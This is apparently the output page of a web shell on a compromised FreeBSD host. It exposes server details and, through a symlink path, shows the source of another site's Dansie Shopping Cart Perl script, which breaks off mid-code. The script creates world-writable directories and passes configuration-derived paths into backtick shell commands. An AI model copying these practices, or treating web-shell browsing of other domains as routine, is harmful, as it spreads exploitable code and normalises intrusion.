KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/highlandlabs/cqi-bin/ALFA_DATA/alfasymlink/root/domains/howardbender2/orders/jobs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/highlandlabs/cqi-bin/ALFA_DATA/alfasymlink/root/domains/howardbender2/orders/jobs/cart.pl
#!/usr/bin/perl
 
 # In some cases the first line above may need to be set to: #!/usr/local/bin/perl
 
 # "Dansie Shopping Cart"
 $version = "3.05";
 # A Perl Shopping Cart
 # By Dansie Website Design
 # Copyright � Dec 10, 1997
 # www.dansie.net
 # [email protected]
 # May not be used without purchasing a license. Do not attempt to run this
 # script on a site other than which it was licensed for. 
 # Modification of this script other than setting the $vars variable below
 # or adjusting the perl path in the first line above may void your right to 
 # technical support and subject you to legal action.
 
 # Set this variable to the system path location of your vars.dat file if this
 # script can't auto detect it's location or if you wish to rename or relocate
 # the vars.dat file. See section 7 in the ReadMe for details.
 
 $vars = "";
 
 #####################################################################
 ### END OF ALL VARIABLES. DO NOT ATTEMPT TO RUN THIS SCRIPT ON A  ###
 ### SITE OTHER THAN WHICH IT WAS LICENSED FOR. DO NOT MODIFY THE  ###
 ### SCRIPT EXCEPT FOR THE $vars VARIABLE OR PERL PATH ABOVE.      ###
 ### MODIFYING THE SCRIPT MAY TERMINATE YOUR RIGHT TO TECHNICAL    ###
 ### SUPPORT AND SUBJECT YOU TO LEGAL ACTION.                      ###
 #####################################################################
 
if ( (!$vars) && ($ENV{'REMOTE_ADDR'} eq "127.0.0.1") ) { $vars = "C:/Dansie/Dansie_Cart/cgi-bin/vars.dat"; } $flock = 1; if (!$ENV{'DOCUMENT_ROOT'}) { $flock = 0; } $delimiter = "|"; $delimiter2 = "\\" . "$delimiter"; $merchant_security = 1; $vars_variable_set = "$vars"; if (!$vars && $ENV{'OS'} !~ /Windows_NT/i && $ENV{'DOCUMENT_ROOT'} ) { $vars = `pwd`; chop($vars); $script_root = "$vars"; $vars .= "/vars.dat"; $script_root2 = "$ENV{'SCRIPT_NAME'}"; $script_root2 = reverse($script_root2); until ($script_root2 !~ /\//) { chop($script_root2); } $script_root2 = reverse($script_root2); $script_root2 = "$script_root/$script_root2"; if (!-e"$vars") { $script_root = $ENV{'SCRIPT_NAME'}; $script_root2 = "$ENV{'DOCUMENT_ROOT'}$ENV{'SCRIPT_NAME'}"; $a = ""; until ($a eq "/" || $script_root eq "") { $a = chop($script_root); } $script_root = "$ENV{'DOCUMENT_ROOT'}$script_root"; $vars = "$script_root/vars.dat"; } if (!-e"$vars") { $script_root = $ENV{'SCRIPT_FILENAME'}; $script_root2 = $ENV{'SCRIPT_FILENAME'}; $a = ""; until ($a eq "/" || $script_root eq "") { $a = chop($script_root); } $vars = "$script_root/vars.dat"; } } if (!$vars && $ENV{'OS'} =~ /Windows_NT/i ) { if ($ENV{'PATH_TRANSLATED'}) { $script_root = $ENV{'PATH_TRANSLATED'}; $script_root2 = $ENV{'PATH_TRANSLATED'}; } if ($ENV{'DOCUMENT_ROOT'}) { $temp = "$ENV{'DOCUMENT_ROOT'}"; while ($temp =~ /[\\|\/]$/) { chop($temp); } if (!-e "$temp$ENV{'SCRIPT_NAME'}") { $a = ""; until ($a eq "/" || $a eq "\\" || $temp eq "") { $a = chop($temp); } } $script_root = "$temp$ENV{'SCRIPT_NAME'}"; $script_root2 = "$temp$ENV{'SCRIPT_NAME'}"; } $script_root =~ s/\\/\//g; $script_root2 =~ s/\\/\//g; $a = ""; until ($a eq "/" || $script_root eq "") { $a = chop($script_root); } $vars = "$script_root/vars.dat"; } if ( ((!-e "$vars") || (!$vars)) && (!$ENV{'OS'}) ) { if ($ENV{'DOCUMENT_ROOT'}) { $vars = `pwd`; } chop($vars); $script_root = "$vars"; $vars .= "/vars.dat"; $script_root2 = "$ENV{'SCRIPT_NAME'}"; $script_root2 = reverse($script_root2); until ($script_root2 !~ /\//) { chop($script_root2); } $script_root2 = reverse($script_root2); $script_root2 = "$script_root/$script_root2"; } if ((!-e "$vars") && !$ENV{'DOCUMENT_ROOT'} && !$ENV{'OS'} ) { $script_root = "$ENV{'PATH'}"; while ( $script_root =~ /;/ ) { chop($script_root); } $script_root .= "$ENV{'SCRIPT_NAME'}"; $script_root2 = "$script_root"; $script_root =~ s/\\/\//g; $script_root2 =~ s/\\/\//g; $a = ""; until ($a eq "/" || $script_root eq "") { $a = chop($script_root); } $vars = "$script_root/vars.dat"; } if ( ( (!-e "$vars") || (!$vars) ) && (!$ENV{'OS'}) ) { $vars = `pwd`; chop($vars); $script_root = "$vars"; $vars .= "/vars.dat"; $script_root2 = "$ENV{'SCRIPT_NAME'}"; $script_root2 = reverse($script_root2); until ($script_root2 !~ /\//) { chop($script_root2); } $script_root2 = reverse($script_root2); $script_root2 = "$script_root/$script_root2"; } if ( ((!-e "$script_root2") && (!-e "$vars")) || (( $script_root2 !~ /cart/i ) && (!-e "$vars"))  ) { if (!$script_root2) { $script_root2 = "$vars"; $a = ""; until ($a eq "/" || $script_root2 eq "") { $a = chop($script_root2); } } &diagnostics; print "Content-type: text/html\n\n"; print "<CENTER><H3>Congratulations! You've successfully uploaded the Dansie Shopping Cart and chmoded the permissions 755 or better, but the cart script can't auto detect it's system path at: <B>\"$script_root2\"</B> because your host has unusual environment variables.</H3></CENTER><BR>"; print "<UL><LI>First, Make sure that your <B>vars.dat</B> file is in the same directory as the cart.pl script. <LI>You may need to set one variable manually at the top of the cart.pl script. See the <B>ReadMe</B> section 7 for detailed instructions.</UL><BR>"; print "<B>Ways to determine your system paths:</B><BR>"; print "<UL><LI>The system path found in the location window at the top of your FTP browser may give you the system path of the <B>cart.pl</B> script.<BR>"; print "<LI>Your <A HREF=\"http://$ENV{'HTTP_HOST'}$ENV{'SCRIPT_NAME'}?env\">System's Environment Variables</A> may be of help determining your system paths.<BR>"; print "<LI>Try the cart script's <A HREF=\"http://$ENV{'HTTP_HOST'}$ENV{'SCRIPT_NAME'}?path\">path detection tool</A>.<BR>"; print "<LI>If you still can't figure it out, ask your host what the system path to the <B>cart.pl</B> script would be.</UL><BR>"; &footer; } &cant_find_vars; $br_sub = "kd9f3"; if ( $ENV{'CONTENT_TYPE'} !~ /multipart\/form\-data/i ) { &parse_form_data; } if ( $FORM{'return'} =~ /(.+)(\?)(.+)/ ) { $post_get_method = "METHOD=POST"; } else { $post_get_method = "METHOD=GET"; } &merchant; if ( $version !~ /(Mall Version)/ ) { $FORM{'merchant'} = ""; } open(VARS,"$vars"); if ($flock) { flock(VARS, 2); } @vars = <VARS>; if ($flock) { flock(VARS, 8); } close(VARS); foreach $line (@vars) { chop($line); if ($line =~ /\n$/) { chop($line); } if ($line =~ /\r$/) { chop($line); } if ($line =~ /\s$/) { chop($line); } $line =~ s/(.+)(-->)( )(.+)/$1$2$4/; $line =~ s/'/`/g; } while ( $vars_variable_set =~ /\/$/ ) { chop($vars_variable_set); } $vars_size = @vars; if ($vars_size < 90 || $vars_size > 200) { if ( ($vars_variable_set) && (-d "$vars_variable_set") ) { print "Content-type: text/html\n\n<H3>Dansie Shopping Cart configuration warning!<BR>If you want to define the \$vars variable near the top of the cart.pl script, make sure that the system path you set ends with \"vars.dat\".<BR>Example:<BR>$vars_variable_set/vars.dat</H3>"; &diagnostics; &footer; } else { print "Content-type: text/html\n\n<H3>Dansie Shopping Cart configuration warning!<BR>Your vars.dat file appears to be corrupt. Check to make sure that you only have one line break per variable line. No more and no less. You can get a new vars.dat file in the latest <A HREF=\"http://www.dansie.net/cart_readme.html\">ReadMe package</A>.</H3>"; &diagnostics; &footer; } } $n = 0; $n2 = 0; $vn = 0; foreach $line (@vars) { if (!$skip_to_next_section) { if ( ($line =~ /^\#\#\#/) ) { push(@vars2,"$line"); $n2++; $vn = 0; } elsif ( ($line =~ /-->/) ) { $line =~ /^(\d{1,2})(\D)(.*)/; $line_number = $1; if ($vars[$n+1] =~ /-->/) { $vars[$n+1] =~ /^(\d{1,2})(\D)(.*)/; $next_line_number = $1; $missing_line_breaks = ($next_line_number - ($line_number + 1) ); } $line_number2 = $line_number + 1; if ($line =~ /($line_number)(.*)(-->)(.*)($line_number2)(.*)(-->)(.*)/) { $line = "$1$2$3$4"; $line2 = "$5$6$7$8"; } push(@vars2,"$line"); $n2++; $vn++; if ($line2) { push(@vars2,"$line2"); $n2++; $vn++; $line2 = ""; $missing_line_breaks--; } if ($missing_line_breaks) { for($i=0;$i<$missing_line_breaks;$i++) { push(@vars2,""); $n2++; $vn++; } } } else { if ($n2>0) { $vars2[$n2-1] = "$vars2[$n2-1] $line"; if (!$line) { $skip_to_next_section = 1; } } } } elsif ($line =~ /^\#\#\#/) { $skip_to_next_section = 0; push(@vars2,"$line"); $n2++; $vn = 0; } $n++; } (@vars) = (@vars2); $a = ""; shift(@vars); until ( $a =~ /^\#\#\#/ ) { $a = shift(@vars); if ( $a !~ /^\#\#\#/ ) { push(@host_vars,$a); } } $a = ""; until ( $a =~ /^\#\#\#/ ) { $a = shift(@vars); if ( $a !~ /^\#\#\#/ ) { push(@personal_vars,$a); } } $a = ""; until ( $a =~ /^\#\#\#/ ) { $a = shift(@vars); if ( $a !~ /^\#\#\#/ ) { push(@cambist_vars,$a); } } $a = ""; until ( $a =~ /^\#\#\#/ ) { $a = shift(@vars); if ( $a !~ /^\#\#\#/ ) { push(@database_vars,$a); } } if ( ($host_vars[0] !~ /http:/i) && ($host_vars[0] !~ /https:/i) ) { @host_vars = ("$host_vars[4]","$host_vars[5]","$host_vars[6]","$host_vars[8]","$host_vars[9]","$host_vars[0]","$host_vars[1]","$host_vars[2]","$host_vars[3]","$host_vars[10]","$host_vars[7]"); } if ( $FORM{'merchant'} && $merchant_security ) { open(VARS,"$default_master_vars"); if ($flock) { flock(VARS, 2); } @default_master_vars = <VARS>; if ($flock) { flock(VARS, 8); } close(VARS); $host_vars[0] = $default_master_vars[1]; $host_vars[5] = $default_master_vars[6]; $host_vars[6] = $default_master_vars[7]; while ($host_vars[0] =~ /(\n|\r|\s)$/) { chop($host_vars[0]); } while ($host_vars[5] =~ /(\n|\r|\s)$/) { chop($host_vars[5]); } while ($host_vars[6] =~ /(\n|\r|\s)$/) { chop($host_vars[6]); } $host_vars[7] = ""; $host_vars[8] = ""; $host_vars[9] = ""; $personal_vars[22] = "3"; $database_vars[0] = ""; } ($trash,$path3) = split(/-->/,shift(@host_vars)); if ( ($ENV{'HTTP_HOST'} eq "www.dansie.net") && $FORM{'merchant'} ) { $path3 = "http://www.dansie.net/cgi-bin/scripts/cart.pl"; } ($trash,$path4) = split(/-->/,shift(@host_vars)); if ( $path4 !~ /\/{2}(.+)\/{1}/ ) { $path4 = "$path4/"; } ($trash,$base_img_url) = split(/-->/,shift(@host_vars)); $base_img_url =~ s/(.*)(\/)$/$1/; ($trash,$image) = split(/-->/,shift(@host_vars)); ($trash,$wp) = split(/-->/,shift(@host_vars)); ($trash,$mailprog) = split(/-->/,shift(@host_vars)); if ( $mailprog =~ /$delimiter2/ ) { ($mailprog,$blat_server) = split(/$delimiter2/,$mailprog); $blat_server = " -server " . "$blat_server"; } if (!$mailprog) { @common_sendmail_paths = ("/usr/sbin/sendmail", "/usr/lib/sendmail", "/usr/bin/sendmail", "/bin/sendmail", "/var/qmail/bin/qmail-inject", "/usr/home/stormer/bin/sendmail", "/bin/cgimail", "C:/winnt/system32/windmail.exe", "C:/winnt/system32/blat.exe", "c:/windmail/windmail.exe", 'C:\httpd\windmail\windmail.exe', 'C:\httpd\Blat\Blat.exe'); foreach (@common_sendmail_paths) { if (-e "$_") { $mailprog = "$_"; last; } } } if ( ($ENV{'HTTP_HOST'} eq "www.dansie.net") && $FORM{'merchant'} ) { $mailprog = "/bin/sendmail"; } ($trash,$date_command) = split(/-->/,shift(@host_vars)); if ( ($ENV{'HTTP_HOST'} eq "www.dansie.net") && $FORM{'merchant'} ) { $date_command = "/bin/date"; } ($trash,$path1) = split(/-->/,shift(@host_vars)); $path1 =~ s/\\/\//g; if ( (!$path1) ) { $path1 = "$vars"; $a = ""; until ($a eq "/" || $path1 eq "") { $a = chop($path1); } $path1 = "$path1/carts"; } if (!$path1) { $path1 = "$script_root/carts"; } if ($path1 eq $script_root) { &diagnostics; print "Content-type: text/html\n\n<H3>Dansie Shopping Cart configuration warning!<BR>Your \"carts\" directory is the same as the directory your cart.pl script is in!<BR>May I suggest \"$path1/carts\" as the directory for Host Variable #8 ?<BR>Please see the ReadMe about Host Variable #8.</H3>"; &footer; } if ($path1 =~ /^http/i) { &diagnostics; print "Content-type: text/html\n\n<H3>Dansie Shopping Cart configuration message:<BR>Please leave Host Variable #8 in your vars.dat file blank.</H3>"; &footer; } if (!-e "$path1") { &diagnostics; $path1 = &untaint("$path1"); mkdir("$path1",0777); if ( $ENV{'OS'} !~ /Windows_NT/i ) { `chmod 777 $path1`; } } if ( (!-w "$path1") || (!-e "$path1") ) { &diagnostics; print "Content-type: text/html\n\n"; print "<CENTER><H3>Congratulations! You've successfully uploaded the Dansie Shopping Cart and chmoded the permissions 755 or better, but you forgot to create your <b>\"$path1\"</B> directory and set permissions as globally writable (chmod it 777 on Unix).</H3></CENTER><BR>"; print "You need to create a directory called \"carts\" in the same directory your vars.dat file is located in and set permissions as globally writable (chmod this directory \"carts\" 777 if you are on a Unix host).<BR><BR>"; &footer; } ($trash,$path2) = split(/-->/,shift(@host_vars)); $path2 =~ s/\\/\//g; if ( (!$path2) ) { $path2 = "$vars"; $a = ""; until ($a eq "/" || $path2 eq "") { $a = chop($path2); } $path2 = "$path2/invoice.dat"; } if ($path2 =~ /^http/i) { &diagnostics; print "Content-type: text/html\n\n<H3>Dansie Shopping Cart configuration message:<BR>Please leave Host Variable #9 in your vars.dat file blank.</H3>"; &footer; } if (!-e "$path2") { &diagnostics; $path2 = &untaint("$path2"); open(FILE, ">$path2"); print FILE "0"; close(FILE); if ( $ENV{'OS'} !~ /Windows_NT/i ) { `chmod 777 $path2`; } } if ( (!-w "$path2") || (!-e "$path2") ) { &diagnostics; print "Content-type: text/html\n\n"; print "<CENTER><H3>Congratulations! You've successfully uploaded the Dansie Shopping Cart and chmoded the permissions 755 or better, but you forgot to create your <b>\"$path2\"</B> file and set permissions as globally writable (chmod it 777 on Unix).</H3></CENTER><BR>"; print "The script needs to be able to keep a count file called \"invoice.dat\" in order to assign invoice numbers to your customers. The default location for this is in the same directory your vars.dat file is located in. Create an empty file named \"invoice.dat\" and upload it with your FTP program into the same directory that your vars.dat file is located in and set permissions on \"invoice.dat\" as globally writable (chmod 777 on Unix).<BR><BR>"; &footer; } ($trash,$lang_path) = split(/-->/,shift(@host_vars)); $lang_path =~ s/\\/\//g; &find_lang; ($trash,$target_name) = split(/-->/,shift(@host_vars)); if (!$target_name) { $target_name = ""; } ($trash,$ssl_target_page) = split(/-->/,shift(@host_vars)); while ( $ssl_target_page =~ /\s$/ ) { chop($ssl_target_page); } if ( $ssl_target_page && $ssl_target_page !~ /\/{2}(.+)\/{1}/ ) { $ssl_target_page = "$ssl_target_page/"; } if (!$ssl_target_page) { $ssl_target_page = "$path4"; } ($trash,$merchant_passwords) = split(/-->/,shift(@host_vars)); while ( $merchant_passwords =~ /\s$/ ) { chop($merchant_passwords); } ($trash,$login_ssl_url) = split(/-->/,shift(@host_vars)); while ( $login_ssl_url =~ /\s$/ ) { chop($login_ssl_url); } if (!$login_ssl_url) { $login_ssl_url = "$path3"; } ($trash,$customs) = split(/-->/,shift(@personal_vars)); ($trash,$myemail) = split(/-->/,shift(@personal_vars)); $myemail =~ s/ /\,/g; $myemail =~ s/\,\,/\,/g; $myemail =~ s/\,\,/\,/g; @myemail = split(/\,/,$myemail); ($trash,$ext) = split(/-->/,shift(@personal_vars)); $ext = "." . "$ext"; ($trash,$bizname) = split(/-->/,shift(@personal_vars)); ($trash,$payable) = split(/-->/,shift(@personal_vars)); ($trash,$guarantee) = split(/-->/,shift(@personal_vars)); ($trash,$add1) = split(/-->/,shift(@personal_vars)); ($trash,$add2) = split(/-->/,shift(@personal_vars)); ($trash,$add3) = split(/-->/,shift(@personal_vars)); ($trash,$add4) = split(/-->/,shift(@personal_vars)); ($trash,$add5) = split(/-->/,shift(@personal_vars)); ($trash,$tax_allow) = split(/-->/,shift(@personal_vars)); ($trash,$temp) = split(/-->/,shift(@personal_vars)); @state = split(/\,/,$temp); if (!$state[0]) { $state[0] = "Calif"; } ($trash,$temp) = split(/-->/,shift(@personal_vars)); $temp =~ s/\%//g; @tax = split(/\,/,$temp); if ( $tax_allow == 2 ) { @state = $state[0]; @tax = $tax[0]; } if ( !$tax[0] ) { $tax[0] = 1; } ($trash,$bgcolor) = split(/-->/,shift(@personal_vars)); ($trash,$font2) = split(/-->/,shift(@personal_vars)); ($trash,$font_face2) = split(/-->/,shift(@personal_vars)); ($trash,$font_size2) = split(/-->/,shift(@personal_vars)); ($trash,$font1) = split(/-->/,shift(@personal_vars)); ($trash,$font_face1) = split(/-->/,shift(@personal_vars)); ($trash,$font_size1) = split(/-->/,shift(@personal_vars)); ($trash,$img_borders) = split(/-->/,shift(@personal_vars)); ($trash,$expire) = split(/-->/,shift(@personal_vars)); if (!$expire) { $expire = "1"; } ($trash,$option1) = split(/-->/,shift(@personal_vars)); ($trash,$option2) = split(/-->/,shift(@personal_vars)); ($trash,$option3) = split(/-->/,shift(@personal_vars)); ($trash,$ship_allow) = split(/-->/,shift(@personal_vars)); ($trash,$show_ship) = split(/-->/,shift(@personal_vars)); ($trash,$temp) = split(/-->/,shift(@personal_vars)); @method = split(/\,/,$temp); ($trash,$temp) = split(/-->/,shift(@personal_vars)); @method_init_price = split(/\,/,$temp); ($trash,$temp) = split(/-->/,shift(@personal_vars)); @method_price = split(/\,/,$temp); ($trash,$wt) = split(/-->/,shift(@personal_vars)); ($trash,$map_domain) = split(/-->/,shift(@personal_vars)); ($trash,$temp) = split(/-->/,shift(@personal_vars)); @shipping_locations = split(/\,/,$temp); ($trash,$temp) = split(/-->/,shift(@personal_vars)); @shipping_via_amount = split(/$delimiter2/,$temp); ($trash,$symbol) = split(/-->/,shift(@personal_vars)); if ($symbol =~ /$delimiter2/) { ($symbol,$decimals,$currency_sep) = split(/$delimiter2/,$symbol); } else { if (!$decimals) { $decimals = "2"; } if (!$currency_sep) { $currency_sep = ","; } } if (!$symbol) { $symbol = "\$"; } if ($symbol =~ /\n$/) { chop($symbol); } if ($decimals =~ /\n$/) { chop($decimals); } if ($currency_sep =~ /\n$/) { chop($currency_sep); } if ($decimals < 0) { $decimals = 0; } $decimals2 = $decimals; $decimals = '%9.' . "$decimals" . 'f'; ($trash,$customer_mail) = split(/-->/,shift(@personal_vars)); if (!$customer_mail) { $customer_mail = 0; } ($trash,$address_table_bgcolor) = split(/-->/,shift(@personal_vars)); if (!$address_table_bgcolor) { $address_table_bgcolor = "#FFFFFF"; } ($trash,$ip_or_cookie) = split(/-->/,shift(@personal_vars)); ($trash,$borders2) = split(/-->/,shift(@personal_vars)); if ($borders2<1) { $borders2 = 0; } ($trash,$table_width) = split(/-->/,shift(@personal_vars)); if (!$table_width) { $table_width = "90\%"; } if ( $table_width < 400 && $table_width !~ /\%/ ) { $table_width = $table_width . "\%"; } ($trash,$option4) = split(/-->/,shift(@personal_vars)); if ($option4 =~ /$delimiter2/ ) { ($option4,$icheck_currency) = split(/$delimiter2/,$option4); } if ( @personal_vars < 1 ) { $use_state = 1; } else { ($trash,$use_state) = split(/-->/,shift(@personal_vars)); } if ( @personal_vars < 1 ) { $show_bizname = 1; } else { ($trash,$show_bizname) = split(/-->/,shift(@personal_vars)); } ($trash,$option5) = split(/-->/,shift(@personal_vars)); if ( $symbol ne "\\") { $option5 =~ s/($symbol)//; } ($trash,$comments) = split(/-->/,shift(@personal_vars)); ($trash,$reqired_field_prefs) = split(/-->/,shift(@personal_vars)); ($trash,$force_no_script) = split(/-->/,shift(@personal_vars)); ($trash,$add_and_redirect) = split(/-->/,shift(@personal_vars)); ($trash,$i_check_id) = split(/-->/,shift(@personal_vars)); if ($i_check_id =~ /$delimiter2/ ) { ($i_check_id,$exchange_rate) = split(/$delimiter2/,$i_check_id); } ($trash,$check_wp) = split(/-->/,shift(@personal_vars)); if (!$check_wp) { $check_wp = "$address_table_bgcolor"; } ($trash,$webstore_discount) = split(/-->/,shift(@personal_vars)); ($trash,$signature) = split(/-->/,shift(@personal_vars)); if ( $signature eq "default" ) { $signature = "$bizname\|" . "$ssl_target_page" . "\|$myemail[0]"; } ($trash,$paper_font_color) = split(/-->/,shift(@personal_vars)); if ( $paper_font_color =~ /$delimiter2/ ) { ($paper_font_color,$paper_wp) = split(/$delimiter2/,$paper_font_color); } ($trash,$vars_security) = split(/-->/,shift(@personal_vars)); ($trash,$meta_tag) = split(/-->/,shift(@personal_vars)); $meta_temp = "$meta_tag"; while ( $meta_temp ) { $a = chop($meta_temp); if ($a =~ /"/) { $meta_temp2++; } } if ( ($meta_temp2 / 2) != ( int($meta_temp2 / 2) )  ) { $meta_tag = ""; } ($trash,$email_content_type) = split(/-->/,shift(@personal_vars)); ($trash,$email_encoding) = split(/-->/,shift(@personal_vars)); ($trash,$coupon_discount) = split(/-->/,shift(@personal_vars)); ($trash,$check_draft_image) = split(/-->/,shift(@personal_vars)); ($trash,$fix_int_quantity) = split(/-->/,shift(@personal_vars)); ($trash,$option6) = split(/-->/,shift(@personal_vars)); ($trash,$suppress_desc) = split(/-->/,shift(@personal_vars)); ($trash,$add_top_or_bottom) = split(/-->/,shift(@personal_vars)); ($trash,$invoice_prefix) = split(/-->/,shift(@personal_vars)); if ($invoice_prefix =~ / $/) { chop($invoice_prefix); } ($trash,$authorized_referrers) = split(/-->/,shift(@personal_vars)); while ($authorized_referrers =~ /(\n|\r|\s|\,)$/) { chop($authorized_referrers); } $authorized_referrers =~ s/\,\,/\,/; $authorized_referrers =~ s/^\,//; (@authorized_referrers) = split(/\,/,$authorized_referrers); foreach (@authorized_referrers) { $_ =~ s/^ //; $_ =~ s/ $//; $_ =~ s/^(www\.)//; } ($trash,$empty_entire_cart) = split(/-->/,shift(@personal_vars)); ($trash,$minimum_order) = split(/-->/,shift(@personal_vars)); while ($minimum_order =~ /(\n|\r|\s)$/) { chop($minimum_order); } $minimum_order =~ s/\$//g; ($trash,$tracking_dir) = split(/-->/,shift(@personal_vars)); while ($tracking_dir =~ /(\n|\r|\s|\,)$/) { chop($tracking_dir); } if ( $tracking_dir =~ /\|/ ) { ($ssl_tracking_dir,$tracking_dir) = split(/\|/,"$tracking_dir"); } if ( $FORM{'merchant'} && $merchant_security && $tracking_dir ) { $tracking_dir2 = "$vars"; $a = ""; until ($a eq "/" || $tracking_dir2 eq "") { $a = chop($tracking_dir2); } if ( $tracking_dir !~ /($tracking_dir2)/i ) { $tracking_dir = "$tracking_dir2/orders.dat"; } $tracking_dir =~ s/\.\.\///g; $tracking_dir =~ s/\.\.//g; } if ( ($tracking_dir) && (-e "$tracking_dir") && (!-w "$tracking_dir") ) { &diagnostics; print "Content-type: text/html\n\n"; print "<CENTER><H3>Congratulations! You've successfully uploaded the Dansie Shopping Cart and chmoded the permissions 755 or better, but you forgot to create your tracking.dat file at this location: <b>\"$tracking_dir\"</B> and set permissions as globally writable (chmod it 777 on Unix).</H3></CENTER><BR>"; print "The script needs to be able to write to this file in order to do perform the order tracking feature described in Personal Variable #69 of the <A HREF=\"http://www.dansie.net/cart_readme.html\" TARGET=\"ReadMe\">ReadMe</A>. Create this file and upload it with your FTP program and set permissions on it as globally writable (chmod 777 on Unix). If you do not wish to use this feature, then leave PV#69 in your vars.dat file blank.<BR><BR>"; &footer; } ($trash,$use_company_name_field) = split(/-->/,shift(@personal_vars)); while ($use_company_name_field =~ /(\n|\r|\s|\,)$/) { chop($use_company_name_field); } ($trash,$att_payment_option) = split(/-->/,shift(@personal_vars)); while ($att_payment_option =~ /(\n|\r|\s|\,)$/) { chop($att_payment_option); } ($trash,$email_receipt_tables) = split(/-->/,shift(@personal_vars)); while ($email_receipt_tables =~ /(\n|\r|\s|\,)$/) { chop($email_receipt_tables); } (@email_receipt_tables) = split(/\|/,"$email_receipt_tables"); ($trash,$path5) = split(/-->/,shift(@cambist_vars)); ($trash,$MerchantID) = split(/-->/,shift(@cambist_vars)); ($trash,$MerchantFont) = split(/-->/,shift(@cambist_vars)); ($trash,$MerchantFontColor) = split(/-->/,shift(@cambist_vars)); ($trash,$MerchantBgrdColor) = split(/-->/,shift(@cambist_vars)); ($trash,$unique_MAU) = split(/-->/,shift(@cambist_vars)); if ($unique_MAU =~ /[^a-zA-Z0-9]/) { &diagnostics; print "Content-type: text/html\n\n<H3>Dansie Shopping Cart configuration message:<BR>Please see Secure Server Variable #6 in the ReadMe. Letters and numbers in SSV#6 only. No special characters of any kind.</H3>"; &footer; } if (!$unique_MAU) { $unique_MAU = "unique_MAU"; } $unique_MAU =~ s/ //g; ($trash,$instant_trans) = split(/-->/,shift(@cambist_vars)); if ( $instant_trans eq "" ) { $instant_trans = "Your order will be shipped pending credit card approval."; } ($trash,$append_datafile) = split(/-->/,shift(@cambist_vars)); $append_datafile =~ s/\\/\//g; if ( $FORM{'merchant'} && $merchant_security && $append_datafile ) { $append_datafile2 = "$vars"; $a = ""; until ($a eq "/" || $append_datafile2 eq "") { $a = chop($append_datafile2); } if ( $append_datafile !~ /($append_datafile2)/i ) { $append_datafile = "$append_datafile2/orders.dat"; } $append_datafile =~ s/\.\.\///g; $append_datafile =~ s/\.\.//g; } if ( ($append_datafile) && ( $append_datafile !~ /\// ) ) { $append_datafile = "$script_root/$append_datafile"; } $temp_path = $append_datafile; if ( $temp_path =~ /(.+)(\s)(.+)/ ) { ($temp_path2,$temp_path) = split(/\s/,$temp_path); } if ( $temp_path =~ /(.+)(\|)(.+)/ ) { ($temp_path2,$temp_path) = split(/\|/,$temp_path); } $a = ""; until ($a eq "/" || $temp_path eq "") { $a = chop($temp_path); } ($trash,$card_types) = split(/-->/,shift(@cambist_vars)); ($trash,$pgp) = split(/-->/,shift(@cambist_vars)); ($trash,$email_cc_numbers) = split(/-->/,shift(@cambist_vars)); while ($email_cc_numbers =~ /\s$/) { chop($email_cc_numbers); } if ( !$email_cc_numbers && !$append_datafile ) { $email_cc_numbers = "$myemail[0]"; } ($trash,$ssl_frames) = split(/-->/,shift(@cambist_vars)); while ($ssl_frames =~ /\s$/) { chop($ssl_frames); } if (!$ssl_frames) { $ssl_target_top = "TARGET=\"_top\""; } ($trash,$pending_order) = split(/-->/,shift(@cambist_vars)); while ($pending_order =~ /\s$/) { chop($pending_order); } if ( ($pending_order) && ($pending_order !~ /(.+)(\@)(.+)(\.)(.+)/) ) { print "Content-type: text/html\n\n<H3>Dansie Shopping Cart configuration warning!<BR>See Secure Server Variable #13 in the <A HREF=\"http://www.dansie.net/cart_readme.html\" TARGET=new>ReadMe</A>. Either put an email address in it or leave it blank.</H3>"; &diagnostics; &footer; } ($trash,$database_dir) = split(/-->/,shift(@database_vars)); $database_dir =~ s/\\/\//g; if ( !$database_dir ) { $database_dir = "$vars"; $a = ""; until ($a eq "/" || $database_dir eq "") { $a = chop($database_dir); } } if (!$database_dir) { $database_dir = "$script_root"; } if ($database_dir =~ /^http/i) { &diagnostics; print "Content-type: text/html\n\n<H3>Dansie Shopping Cart configuration message:<BR>Please leave Database Variable #1 in your vars.dat file blank or set it to a system path. Do not put a URL in there. URLs start with either \"http://\" or \"https://\" and system path start with either \"/\" (Unix) or \"c:/\" (Windows NT).</H3>"; &footer; } ($trash,$view_url) = split(/-->/,shift(@database_vars)); if (($view_url) && ($view_url !~ /http/i)) { $view_url = "$base_img_url" . "/" . "$view_url"; } ($trash,$separator) = split(/-->/,shift(@database_vars)); if (!$separator) { $separator = "|"; } if ( $separator eq '\t' || $separator =~ /tab/i ) { $separator = "t"; } $separator = "\\" . "$separator"; ($trash,$options_separator) = split(/-->/,shift(@database_vars)); if (!$options_separator) { $options_separator = "^"; } $options_separator = "\\" . "$options_separator"; ($trash,$query_separator) = split(/-->/,shift(@database_vars)); if (!$query_separator) { $query_separator = "|"; } $query_separator = "\\" . "$query_separator"; $query_separator2 = $query_separator; $query_separator2 =~ s/^\\//; ($trash,$item_cat_pos) = split(/-->/,shift(@database_vars)); ($trash,$stock_pos) = split(/-->/,shift(@database_vars)); ($trash,$name_pos) = split(/-->/,shift(@database_vars)); ($trash,$description_pos) = split(/-->/,shift(@database_vars)); ($trash,$price_pos) = split(/-->/,shift(@database_vars)); ($trash,$sh_pos) = split(/-->/,shift(@database_vars)); ($trash,$image_pos) = split(/-->/,shift(@database_vars)); ($trash,$temp) = split(/-->/,shift(@database_vars)); @additionals = split (/\,/,$temp); ($trash,$image_statement) = split(/-->/,shift(@database_vars)); ($trash,$button) = split(/-->/,shift(@database_vars)); if (!$lang[148]) { $lang[148] = "$button"; } ($trash,$home) = split(/-->/,shift(@database_vars)); ($trash,$items_per_page) = split(/-->/,shift(@database_vars)); if (!$items_per_page) { $items_per_page = 10;} ($trash,$uniform_images) = split(/-->/,shift(@database_vars)); if ($uniform_images) { ($uni_width,$uni_height) = split(/\,/,$uniform_images); $uni_width = "WIDTH=$uni_width"; if ($uni_height) { $uni_height = "HEIGHT=$uni_height"; } } ($trash,$database_logo) = split(/-->/,shift(@database_vars)); ($trash,$db_select_alignment) = split(/-->/,shift(@database_vars)); if (!$db_select_alignment) { $db_select_alignment = "center"; } ($trash,$db_select_stack_or_across) = 